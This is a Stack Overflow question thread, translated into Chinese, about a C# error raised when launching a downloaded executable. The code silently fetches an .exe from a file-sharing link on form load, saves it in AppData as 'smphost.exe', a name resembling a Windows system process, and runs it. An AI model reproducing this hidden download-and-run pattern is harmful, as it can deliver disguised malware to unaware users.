【问题标题】:File won't open because its corrupt or unreadable? [closed]文件因为损坏或不可读而无法打开? [关闭]
【发布时间】:2017-07-25 09:53:23
【问题描述】:

正如您在下面看到的,我正在下载一个文件并在我的主应用程序加载后打开它,我正在下载的这个应用程序是一个帮助主应用程序的后台应用程序。

当我编译它时,我收到了这个错误:

System.ComponentModel.Win32Exception: 'The file or directory is corrupted and unreadable'

该错误发生在 Process.Start 行。

代码:

private void Form1_Load(object sender, EventArgs e)
{
    if (!Directory.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + _appDataFolder))
    {
        Directory.CreateDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder);
    }

    WebClient webClient = new WebClient();
    webClient.DownloadFileCompleted += new AsyncCompletedEventHandler(Completed);
    webClient.DownloadFileAsync(new Uri(
        "https://fs03n3.sendspace.com/dl/021593313c2769e2f3bb14b965ebe933/59770ba30a083303/3tpj8o/dl.exe"),
        Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe");
}

private void Completed(object sender, AsyncCompletedEventArgs e)
{
    var path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"/" + _appDataFolder + "/smphost.exe";

    if (!File.Exists(path))
    {
        return;
    }

    Process.Start(path);
}

【问题讨论】:

  • 可以手动启动下载的可执行文件吗?
  • 如果没有 C++ 代码,为什么这个问题会被标记为 C++?
  • @RomanoZumbé 显然不是,如果我愿意的话。我标记了 C++,因为我认为它可能不仅是 C#,而且是 Windows 中的其他编程语言的普遍问题。
  • @Beefo 我不确定你是否正确理解了我。您可以通过单击启动下载的文件吗?如果不是,这不是与编程相关的问题。
  • 标签用于对问题进行分类。您的问题与 C++ 无关,因此 C++ 标记不合适。请不要投机地添加标签。这不是操作系统错误。

标签: c# .net windows visual-studio


【解决方案1】:

我认为问题出在您的下载 URL 上。我在浏览器中打开了https://fs03n3.sendspace.com/dl/021593313c2769e2f3bb14b965ebe933/59770ba30a083303/3tpj8o/dl.exe,但它没有下载文件,而是进入了下载页面。这就是您无法运行该文件的原因,因为您下载了其他内容(我运行了您的代码,下载的文件为 0KB)。

我建议您将文件上传到您喜欢的云存储驱动器,然后使用新的下载 URL。

【讨论】:

  • 谢谢,我才注意到这一点。
  • 这就是为什么我问你是否可以手动打开应用程序。显然你没有检查
猜你喜欢
  • 1970-01-01
  • 2012-07-21
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多